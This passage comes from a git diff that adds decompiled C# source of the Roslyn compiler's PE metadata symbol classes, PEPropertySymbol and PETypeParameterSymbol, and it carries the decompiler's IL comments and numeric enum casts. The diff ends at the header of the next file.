invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Invalid comparison between Unknown and I4 + MetadataDecoder metadataDecoder = new MetadataDecoder(moduleSymbol, containingType); + SignatureHeader signatureHeader = default(SignatureHeader); + BadImageFormatException ex = default(BadImageFormatException); + ParamInfo[] signatureForProperty = ((MetadataDecoder)metadataDecoder).GetSignatureForProperty(handle, ref signatureHeader, ref ex); + ParamInfo val = signatureForProperty[0]; + PEPropertySymbol pEPropertySymbol = ((val.CustomModifiers.IsDefaultOrEmpty && val.RefCustomModifiers.IsDefaultOrEmpty) ? new PEPropertySymbol(moduleSymbol, containingType, handle, getMethod, setMethod, signatureForProperty, metadataDecoder) : new PEPropertySymbolWithCustomModifiers(moduleSymbol, containingType, handle, getMethod, setMethod, signatureForProperty, metadataDecoder)); + bool flag = (int)pEPropertySymbol.RefKind == 3 != pEPropertySymbol.RefCustomModifiers.HasInAttributeModifier(); + if (ex != null || flag) + { + pEPropertySymbol._lazyCachedUseSiteInfo.Initialize((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, pEPropertySymbol)); + } + return pEPropertySymbol; + } + + private PEPropertySymbol(PEModuleSymbol moduleSymbol, PENamedTypeSymbol containingType, PropertyDefinitionHandle handle, PEMethodSymbol getMethod, PEMethodSymbol setMethod, ParamInfo[] propertyParams, MetadataDecoder metadataDecoder) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_016b: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + _containingType = containingType; + PEModule module = moduleSymbol.Module; + PropertyAttributes propertyAttributes = PropertyAttributes.None; + BadImageFormatException ex = null; + try + { + module.GetPropertyDefPropsOrThrow(handle, ref _name, ref propertyAttributes); + } + catch (BadImageFormatException ex2) + { + ex = ex2; + if (_name == null) + { + _name = string.Empty; + } + } + _getMethod = getMethod; + _setMethod = setMethod; + _handle = handle; + BadImageFormatException ex3 = null; + SignatureHeader signatureHeader = default(SignatureHeader); + ParamInfo[] array = (((object)getMethod == null) ? null : ((MetadataDecoder)metadataDecoder).GetSignatureForMethod(getMethod.Handle, ref signatureHeader, ref ex3, true)); + BadImageFormatException ex4 = null; + ParamInfo[] array2 = (((object)setMethod == null) ? null : ((MetadataDecoder)metadataDecoder).GetSignatureForMethod(setMethod.Handle, ref signatureHeader, ref ex4, true)); + _parameters = ((array2 == null) ? GetParameters(moduleSymbol, this, getMethod, propertyParams, array, out var anyParameterIsBad) : GetParameters(moduleSymbol, this, setMethod, propertyParams, array2, out anyParameterIsBad)); + if (ex3 != null || ex4 != null || ex != null || anyParameterIsBad) + { + _lazyCachedUseSiteInfo.Initialize((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this)); + } + ParamInfo val = propertyParams[0]; + ImmutableArray customModifiers = CSharpCustomModifier.Convert(val.CustomModifiers); + if (val.IsByRef) + { + if (moduleSymbol.Module.HasIsReadOnlyAttribute((EntityHandle)handle)) + { + _refKind = (RefKind)3; + } + else + { + _refKind = (RefKind)1; + } + } + else + { + _refKind = (RefKind)0; + } + TypeWithAnnotations metadataType = TypeWithAnnotations.Create(NativeIntegerTypeDecoder.TransformType(DynamicTypeDecoder.TransformType(val.Type, customModifiers.Length, handle, moduleSymbol, _refKind), handle, moduleSymbol, _containingType).AsDynamicIfNoPia(_containingType), NullableAnnotation.Oblivious, customModifiers); + metadataType = NullableTypeDecoder.TransformType(metadataType, handle, moduleSymbol, _containingType, _containingType); + metadataType = TupleTypeDecoder.DecodeTupleTypesIfApplicable(metadataType, handle, moduleSymbol); + _propertyTypeWithAnnotations = metadataType; + bool flag = !DoSignaturesMatch(module, metadataDecoder, propertyParams, _getMethod, array, _setMethod, array2) || MustCallMethodsDirectlyCore() || anyUnexpectedRequiredModifiers(propertyParams); + if (!flag) + { + if ((object)_getMethod != null) + { + _getMethod.SetAssociatedProperty(this, (MethodKind)11); + } + if ((object)_setMethod != null) + { + _setMethod.SetAssociatedProperty(this, (MethodKind)12); + } + } + _flags = new PackedFlags((propertyAttributes & PropertyAttributes.SpecialName) != 0, (propertyAttributes & PropertyAttributes.RTSpecialName) != 0, flag); + static bool anyUnexpectedRequiredModifiers(ParamInfo[] source) + { + return source.Any((ParamInfo p) => (!p.RefCustomModifiers.IsDefaultOrEmpty && p.RefCustomModifiers.Any((ModifierInfo m) => !m.IsOptional && !m.Modifier.IsWellKnownTypeInAttribute())) || ModifierInfoExtensions.AnyRequired(p.CustomModifiers)); + } + } + + private bool MustCallMethodsDirectlyCore() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if ((int)RefKind != 0 && _setMethod != null) + { + return true; + } + if (base.ParameterCount == 0) + { + return false; + } + if (IsIndexedProperty) + { + return IsStatic; + } + if (IsIndexer) + { + return this.HasRefOrOutParameter(); + } + return true; + } + + public override ImmutableArray GetAttributes() + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + if (_lazyCustomAttributes.IsDefault) + { + CustomAttributeHandle filteredOutAttribute; + CustomAttributeHandle filteredOutAttribute2; + ImmutableArray customAttributesForToken = ((PEModuleSymbol)ContainingModule).GetCustomAttributesForToken(_handle, out filteredOutAttribute, (AttributeDescription)(((int)RefKind == 3) ? AttributeDescription.IsReadOnlyAttribute : default(AttributeDescription)), out filteredOutAttribute2, AttributeDescription.RequiredMemberAttribute); + ImmutableInterlocked.InterlockedInitialize(ref _lazyCustomAttributes, customAttributesForToken); + _flags.SetHasRequiredMemberAttribute(!filteredOutAttribute2.IsNil); + } + return _lazyCustomAttributes; + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return GetAttributes(); + } + + private static bool DoSignaturesMatch(PEModule module, MetadataDecoder metadataDecoder, ParamInfo[] propertyParams, PEMethodSymbol getMethod, ParamInfo[] getMethodParams, PEMethodSymbol setMethod, ParamInfo[] setMethodParams) + { + bool flag = getMethodParams != null; + bool flag2 = setMethodParams != null; + if (flag && !((MetadataDecoder)metadataDecoder).DoPropertySignaturesMatch(propertyParams, getMethodParams, false, true, true)) + { + return false; + } + if (flag2 && !((MetadataDecoder)metadataDecoder).DoPropertySignaturesMatch(propertyParams, setMethodParams, true, true, true)) + { + return false; + } + if (flag && flag2) + { + int num = propertyParams.Length - 1; + ParameterHandle handle = getMethodParams[num].Handle; + ParameterHandle handle2 = setMethodParams[num].Handle; + bool num2 = !handle.IsNil && module.HasParamsAttribute((EntityHandle)handle); + bool flag3 = !handle2.IsNil && module.HasParamsAttribute((EntityHandle)handle2); + if (num2 != flag3) + { + return false; + } + if (getMethod.IsExtern != setMethod.IsExtern || getMethod.IsSealed != setMethod.IsSealed || getMethod.IsOverride != setMethod.IsOverride || getMethod.IsStatic != setMethod.IsStatic) + { + return false; + } + } + return true; + } + + private static ImmutableArray GetParameters(PEModuleSymbol moduleSymbol, PEPropertySymbol property, PEMethodSymbol accessor, ParamInfo[] propertyParams, ParamInfo[] accessorParams, out bool anyParameterIsBad) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + anyParameterIsBad = false; + if (propertyParams.Length < 2) + { + return ImmutableArray.Empty; + } + int num = accessorParams.Length; + ParameterSymbol[] array = new ParameterSymbol[propertyParams.Length - 1]; + for (int i = 1; i < propertyParams.Length; i++) + { + ParamInfo parameterInfo = propertyParams[i]; + ParameterHandle handle; + Symbol nullableContext; + if (i < num) + { + handle = accessorParams[i].Handle; + nullableContext = accessor; + } + else + { + handle = parameterInfo.Handle; + nullableContext = property; + } + int num2 = i - 1; + array[num2] = PEParameterSymbol.Create(moduleSymbol, property, accessor.IsMetadataVirtual(), num2, handle, parameterInfo, nullableContext, out var isBad); + if (isBad) + { + anyParameterIsBad = true; + } + } + return ImmutableArrayExtensions.AsImmutableOrNull(array); + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return PEDocumentationCommentUtils.GetDocumentationComment(this, _containingType.ContainingPEModule, preferredCulture, cancellationToken, ref _lazyDocComment); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + AssemblySymbol primaryDependency = base.PrimaryDependency; + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(primaryDependency); + CalculateUseSiteDiagnostic(ref result); + DiagnosticInfo result2 = deriveCompilerFeatureRequiredUseSiteInfo(); + MergeUseSiteDiagnostics(ref result2, result.DiagnosticInfo); + result = result.AdjustDiagnosticInfo(result2); + _lazyCachedUseSiteInfo.Initialize(primaryDependency, result); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(primaryDependency); + DiagnosticInfo deriveCompilerFeatureRequiredUseSiteInfo() + { + PENamedTypeSymbol pENamedTypeSymbol = (PENamedTypeSymbol)ContainingType; + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + MetadataDecoder decoder = new MetadataDecoder(containingPEModule, pENamedTypeSymbol); + DiagnosticInfo val = PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, containingPEModule, Handle, (CompilerFeatureRequiredFeatures)0, decoder); + if (val != null) + { + return val; + } + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + val = ((PEParameterSymbol)enumerator.Current).DeriveCompilerFeatureRequiredDiagnostic(decoder); + if (val != null) + { + return val; + } + } + return pENamedTypeSymbol.GetCompilerFeatureRequiredDiagnostic(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PETypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PETypeParameterSymbol.cs new file mode 100644 index 0000000..e2427be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PETypeParameterSymbol.cs @@ -0,0 +1,551 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PETypeParameterSymbol : TypeParameterSymbol +{ + private readonly Symbol _containingSymbol; + + private readonly GenericParameterHandle _handle; + + private readonly string _name; + + private readonly ushort _ordinal; + + private CachedUseSiteInfo _lazyCachedConstraintsUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private readonly GenericParameterAttributes _flags; + + private ThreeState _lazyHasIsUnmanagedConstraint; + + private TypeParameterBounds _lazyBounds = TypeParameterBounds.Unset; + + private ImmutableArray _lazyDeclaredConstraintTypes; + + private ImmutableArray _lazyCustomAttributes; + + public override TypeParameterKind TypeParameterKind + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)ContainingSymbol.Kind == 9) + { + return (TypeParameterKind)1; + } + return (TypeParameterKind)0; + } + } + + public override int Ordinal => _ordinal; + + public override string Name => _name; + + public override int MetadataToken => MetadataTokens.GetToken(_handle); + + internal GenericParameterHandle Handle => _handle; + + public override Symbol ContainingSymbol => _containingSymbol; + + public override AssemblySymbol ContainingAssembly => _containingSymbol.ContainingAssembly; + + public override ImmutableArray Locations => _containingSymbol.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool HasConstructorConstraint => (_flags & GenericParameterAttributes.DefaultConstructorConstraint) != 0; + + public override bool HasReferenceTypeConstraint => (_flags & GenericParameterAttributes.ReferenceTypeConstraint) != 0; + + public override bool IsReferenceTypeFromConstraintTypes => TypeParameterSymbol.CalculateIsReferenceTypeFromConstraintTypes(base.ConstraintTypesNoUseSiteDiagnostics); + + internal override bool? ReferenceTypeConstraintIsNullable + { + get + { + if (!HasReferenceTypeConstraint) + { + return false; + } + return GetNullableAttributeValue() switch + { + 2 => true, + 1 => false, + _ => null, + }; + } + } + + public override bool HasNotNullConstraint + { + get + { + if ((_flags & (GenericParameterAttributes.ReferenceTypeConstraint | GenericParameterAttributes.NotNullableValueTypeConstraint)) == 0) + { + return GetNullableAttributeValue() == 1; + } + return false; + } + } + + internal override bool? IsNotNullable + { + get + { + if ((_flags & (GenericParameterAttributes.ReferenceTypeConstraint | GenericParameterAttributes.NotNullableValueTypeConstraint)) == 0 && !HasNotNullConstraint) + { + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)ContainingModule; + PEModule module = pEModuleSymbol.Module; + GenericParameterConstraintHandleCollection constraintHandleCollection = GetConstraintHandleCollection(module); + if (constraintHandleCollection.Count == 0) + { + if (GetNullableAttributeValue() == 2) + { + return false; + } + return null; + } + if (GetDeclaredConstraintTypes(ConsList.Empty).IsEmpty) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + MetadataDecoder decoder = GetDecoder(pEModuleSymbol); + bool hasUnmanagedModreqPattern = false; + MetadataReader metadataReader = module.MetadataReader; + foreach (GenericParameterConstraintHandle item in constraintHandleCollection) + { + TypeWithAnnotations constraintTypeOrDefault = GetConstraintTypeOrDefault(pEModuleSymbol, metadataReader, decoder, item, ref hasUnmanagedModreqPattern); + if (constraintTypeOrDefault.HasType) + { + instance.Add(constraintTypeOrDefault); + } + } + return TypeParameterSymbol.IsNotNullableFromConstraintTypes(instance.ToImmutableAndFree()); + } + } + return CalculateIsNotNullable(); + } + } + + public override bool HasValueTypeConstraint => (_flags & GenericParameterAttributes.NotNullableValueTypeConstraint) != 0; + + public override bool IsValueTypeFromConstraintTypes => TypeParameterSymbol.CalculateIsValueTypeFromConstraintTypes(base.ConstraintTypesNoUseSiteDiagnostics); + + public override bool HasUnmanagedTypeConstraint + { + get + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + GetDeclaredConstraintTypes(ConsList.Empty); + return ThreeStateHelpers.Value(_lazyHasIsUnmanagedConstraint); + } + } + + public override VarianceKind Variance => (VarianceKind)(short)(_flags & GenericParameterAttributes.VarianceMask); + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public override bool HasUnsupportedMetadata + { + get + { + PEModuleSymbol moduleSymbol = (PEModuleSymbol)ContainingModule; + DiagnosticInfo val = DeriveCompilerFeatureRequiredDiagnostic(GetDecoder(moduleSymbol)); + if (val == null || val.Code != 9041) + { + return base.HasUnsupportedMetadata; + } + return true; + } + } + + internal PETypeParameterSymbol(PEModuleSymbol moduleSymbol, PENamedTypeSymbol definingNamedType, ushort ordinal, GenericParameterHandle handle) + : this(moduleSymbol, (Symbol)definingNamedType, ordinal, handle) + { + } + + internal PETypeParameterSymbol(PEModuleSymbol moduleSymbol, PEMethodSymbol definingMethod, ushort ordinal, GenericParameterHandle handle) + : this(moduleSymbol, (Symbol)definingMethod, ordinal, handle) + { + } + + private PETypeParameterSymbol(PEModuleSymbol moduleSymbol, Symbol definingSymbol, ushort ordinal, GenericParameterHandle handle) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _containingSymbol = definingSymbol; + GenericParameterAttributes genericParameterAttributes = GenericParameterAttributes.None; + try + { + moduleSymbol.Module.GetGenericParamPropsOrThrow(handle, ref _name, ref genericParameterAttributes); + } + catch (BadImageFormatException) + { + if (_name == null) + { + _name = string.Empty; + } + _lazyCachedConstraintsUseSiteInfo.Initialize((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this)); + } + _flags = (((genericParameterAttributes & GenericParameterAttributes.NotNullableValueTypeConstraint) == 0) ? genericParameterAttributes : (genericParameterAttributes & ~GenericParameterAttributes.DefaultConstructorConstraint)); + _ordinal = ordinal; + _handle = handle; + } + + private ImmutableArray GetDeclaredConstraintTypes(ConsList inProgress) + { + //IL_01aa: Unknown result type (might be due to invalid IL or missing references) + //IL_01af: Unknown result type (might be due to invalid IL or missing references) + //IL_019d: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + if (_lazyDeclaredConstraintTypes.IsDefault) + { + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)ContainingModule; + PEModule module = pEModuleSymbol.Module; + GenericParameterConstraintHandleCollection constraintHandleCollection = GetConstraintHandleCollection(module); + bool hasUnmanagedModreqPattern = false; + ImmutableArray value; + if (constraintHandleCollection.Count > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + MetadataDecoder decoder = GetDecoder(pEModuleSymbol); + TypeWithAnnotations bestObjectConstraint = default(TypeWithAnnotations); + MetadataReader metadataReader = module.MetadataReader; + foreach (GenericParameterConstraintHandle item in constraintHandleCollection) + { + TypeWithAnnotations constraintTypeOrDefault = GetConstraintTypeOrDefault(pEModuleSymbol, metadataReader, decoder, item, ref hasUnmanagedModreqPattern); + if (constraintTypeOrDefault.HasType && !ConstraintsHelper.IsObjectConstraint(constraintTypeOrDefault, ref bestObjectConstraint)) + { + instance.Add(constraintTypeOrDefault); + } + } + if (bestObjectConstraint.HasType && ConstraintsHelper.IsObjectConstraintSignificant(CalculateIsNotNullableFromNonTypeConstraints(), bestObjectConstraint)) + { + if (instance.Count == 0) + { + if (bestObjectConstraint.NullableAnnotation.IsOblivious() && !HasReferenceTypeConstraint) + { + bestObjectConstraint = default(TypeWithAnnotations); + } + } + else + { + inProgress = ConsListExtensions.Prepend(inProgress, this); + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (!ConstraintsHelper.IsObjectConstraintSignificant(IsNotNullableFromConstraintType(enumerator2.Current, inProgress, out var _), bestObjectConstraint)) + { + bestObjectConstraint = default(TypeWithAnnotations); + break; + } + } + } + if (bestObjectConstraint.HasType) + { + instance.Insert(0, bestObjectConstraint); + } + } + value = instance.ToImmutableAndFree(); + } + else + { + value = ImmutableArray.Empty; + } + if ((hasUnmanagedModreqPattern && (_flags & GenericParameterAttributes.NotNullableValueTypeConstraint) == 0) || hasUnmanagedModreqPattern != module.HasIsUnmanagedAttribute((EntityHandle)_handle)) + { + hasUnmanagedModreqPattern = false; + _lazyCachedConstraintsUseSiteInfo.InterlockedCompareExchange((AssemblySymbol)null, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this))); + } + _lazyHasIsUnmanagedConstraint = ThreeStateHelpers.ToThreeState(hasUnmanagedModreqPattern); + ImmutableInterlocked.InterlockedInitialize(ref _lazyDeclaredConstraintTypes, value); + } + return _lazyDeclaredConstraintTypes; + } + + private MetadataDecoder GetDecoder(PEModuleSymbol moduleSymbol) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((int)_containingSymbol.Kind == 9) + { + return new MetadataDecoder(moduleSymbol, (PEMethodSymbol)_containingSymbol); + } + return new MetadataDecoder(moduleSymbol, (PENamedTypeSymbol)_containingSymbol); + } + + private TypeWithAnnotations GetConstraintTypeOrDefault(PEModuleSymbol moduleSymbol, MetadataReader metadataReader, MetadataDecoder tokenDecoder, GenericParameterConstraintHandle constraintHandle, ref bool hasUnmanagedModreqPattern) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray> immutableArray = default(ImmutableArray>); + TypeSymbol typeSymbol = ((MetadataDecoder)tokenDecoder).DecodeGenericParameterConstraint(metadataReader.GetGenericParameterConstraint(constraintHandle).Type, ref immutableArray); + if (!immutableArray.IsDefaultOrEmpty && immutableArray.Length > 1) + { + typeSymbol = new UnsupportedMetadataTypeSymbol(); + } + else if ((int)typeSymbol.SpecialType == 5) + { + if (!immutableArray.IsDefaultOrEmpty) + { + ModifierInfo val = immutableArray.Single(); + if (!val.IsOptional && val.Modifier.IsWellKnownTypeUnmanagedType()) + { + hasUnmanagedModreqPattern = true; + } + else + { + typeSymbol = new UnsupportedMetadataTypeSymbol(); + } + } + if ((int)typeSymbol.SpecialType == 5 && (_flags & GenericParameterAttributes.NotNullableValueTypeConstraint) != GenericParameterAttributes.None) + { + return default(TypeWithAnnotations); + } + } + else if (!immutableArray.IsDefaultOrEmpty) + { + typeSymbol = new UnsupportedMetadataTypeSymbol(); + } + return TupleTypeDecoder.DecodeTupleTypesIfApplicable(NullableTypeDecoder.TransformType(TypeWithAnnotations.Create(typeSymbol), constraintHandle, moduleSymbol, _containingSymbol, _containingSymbol), constraintHandle, moduleSymbol); + } + + private static bool? IsNotNullableFromConstraintType(TypeWithAnnotations constraintType, ConsList inProgress, out bool isNonNullableValueType) + { + if (!(constraintType.Type is PETypeParameterSymbol pETypeParameterSymbol) || (object)pETypeParameterSymbol.ContainingSymbol != inProgress.Head.ContainingSymbol || pETypeParameterSymbol.GetConstraintHandleCollection().Count == 0) + { + return TypeParameterSymbol.IsNotNullableFromConstraintType(constraintType, out isNonNullableValueType); + } + bool? flag = pETypeParameterSymbol.CalculateIsNotNullable(inProgress, out isNonNullableValueType); + if (isNonNullableValueType) + { + return true; + } + if (constraintType.NullableAnnotation.IsAnnotated() || flag == false) + { + return false; + } + if (constraintType.NullableAnnotation.IsOblivious() || !flag.HasValue) + { + return null; + } + return true; + } + + private bool? CalculateIsNotNullable(ConsList inProgress, out bool isNonNullableValueType) + { + if (ConsListExtensions.ContainsReference(inProgress, this)) + { + isNonNullableValueType = false; + return false; + } + if (HasValueTypeConstraint) + { + isNonNullableValueType = true; + return true; + } + bool? flag = CalculateIsNotNullableFromNonTypeConstraints(); + ImmutableArray declaredConstraintTypes = GetDeclaredConstraintTypes(inProgress); + if (declaredConstraintTypes.IsEmpty) + { + isNonNullableValueType = false; + return flag; + } + bool? flag2 = IsNotNullableFromConstraintTypes(declaredConstraintTypes, inProgress, out isNonNullableValueType); + if (isNonNullableValueType) + { + return true; + } + if (flag2 == true || flag == false) + { + return flag2; + } + return flag; + } + + private static bool? IsNotNullableFromConstraintTypes(ImmutableArray constraintTypes, ConsList inProgress, out bool isNonNullableValueType) + { + isNonNullableValueType = false; + bool? flag = false; + ImmutableArray.Enumerator enumerator = constraintTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + bool? flag2 = IsNotNullableFromConstraintType(enumerator.Current, inProgress, out isNonNullableValueType); + if (isNonNullableValueType) + { + return true; + } + if (flag2 == true) + { + flag = true; + } + else if (!flag2.HasValue && flag == false) + { + flag = null; + } + } + return flag; + } + + private GenericParameterConstraintHandleCollection GetConstraintHandleCollection(PEModule module) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + GenericParameterConstraintHandleCollection result; + try + { + return module.MetadataReader.GetGenericParameter(_handle).GetConstraints(); + } + catch (BadImageFormatException) + { + result = default(GenericParameterConstraintHandleCollection); + _lazyCachedConstraintsUseSiteInfo.InterlockedCompareExchange((AssemblySymbol)null, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this))); + } + return result; + } + + private GenericParameterConstraintHandleCollection GetConstraintHandleCollection() + { + return GetConstraintHandleCollection(((PEModuleSymbol)ContainingModule).Module); + } + + private byte GetNullableAttributeValue() + { + byte result = default(byte); + ImmutableArray immutableArray = default(ImmutableArray); + if (((PEModuleSymbol)ContainingModule).Module.HasNullableAttribute((EntityHandle)_handle, ref result, ref immutableArray)) + { + return result; + } + return _containingSymbol.GetNullableContextValue().GetValueOrDefault(); + } + + internal override void EnsureAllConstraintsAreResolved() + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + if (!_lazyBounds.IsSet()) + { + TypeParameterSymbol.EnsureAllConstraintsAreResolved(((int)_containingSymbol.Kind == 9) ? ((PEMethodSymbol)_containingSymbol).TypeParameters : ((PENamedTypeSymbol)_containingSymbol).TypeParameters); + } + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return GetBounds(inProgress)?.ConstraintTypes ?? ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return GetBounds(inProgress)?.Interfaces ?? ImmutableArray.Empty; + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + TypeParameterBounds bounds = GetBounds(inProgress); + if (bounds == null) + { + return GetDefaultBaseType(); + } + return bounds.EffectiveBaseClass; + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + TypeParameterBounds bounds = GetBounds(inProgress); + if (bounds == null) + { + return GetDefaultBaseType(); + } + return bounds.DeducedBaseType; + } + + public override ImmutableArray GetAttributes() + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + if (_lazyCustomAttributes.IsDefault) + { + CustomAttributeHandle filteredOutAttribute; + ImmutableArray customAttributesForToken = ((PEModuleSymbol)ContainingModule).GetCustomAttributesForToken(Handle, out filteredOutAttribute, (AttributeDescription)(HasUnmanagedTypeConstraint ? AttributeDescription.IsUnmanagedAttribute : default(AttributeDescription))); + ImmutableInterlocked.InterlockedInitialize(ref _lazyCustomAttributes, customAttributesForToken); + } + return _lazyCustomAttributes; + } + + private TypeParameterBounds GetBounds(ConsList inProgress) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Invalid comparison between Unknown and I4 + if (_lazyBounds == TypeParameterBounds.Unset) + { + ImmutableArray declaredConstraintTypes = GetDeclaredConstraintTypes(ConsList.Empty); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder useSiteDiagnosticsBuilder = null; + bool inherited = (int)_containingSymbol.Kind == 9 && ((MethodSymbol)_containingSymbol).IsOverride; + TypeParameterBounds value = this.ResolveBounds(ContainingAssembly.CorLibrary, ConsListExtensions.Prepend(inProgress, (TypeParameterSymbol)this), declaredConstraintTypes, inherited, null, instance, ref useSiteDiagnosticsBuilder, default(CompoundUseSiteInfo)); + if (useSiteDiagnosticsBuilder != null) + { + instance.AddRange(useSiteDiagnosticsBuilder); + } + AssemblySymbol primaryDependency = base.PrimaryDependency; + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(primaryDependency); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + MergeUseSiteInfo(ref result, enumerator.Current.UseSiteInfo); + DiagnosticInfo diagnosticInfo = result.DiagnosticInfo; + if (diagnosticInfo != null && (int)diagnosticInfo.Severity == 3) + { + break; + } + } + instance.Free(); + _lazyCachedConstraintsUseSiteInfo.InterlockedCompareExchange(primaryDependency, result); + Interlocked.CompareExchange(ref _lazyBounds, value, TypeParameterBounds.Unset); + } + return _lazyBounds; + } + + internal override UseSiteInfo GetConstraintsUseSiteErrorInfo() + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + EnsureAllConstraintsAreResolved(); + return _lazyCachedConstraintsUseSiteInfo.ToUseSiteInfo(base.PrimaryDependency); + } + + private NamedTypeSymbol GetDefaultBaseType() + { + return ContainingAssembly.GetSpecialType((SpecialType)1); + } + + internal DiagnosticInfo? DeriveCompilerFeatureRequiredDiagnostic(MetadataDecoder decoder) + { + return PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, (PEModuleSymbol)ContainingModule, Handle, (CompilerFeatureRequiredFeatures)0, decoder); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEUtilities.cs 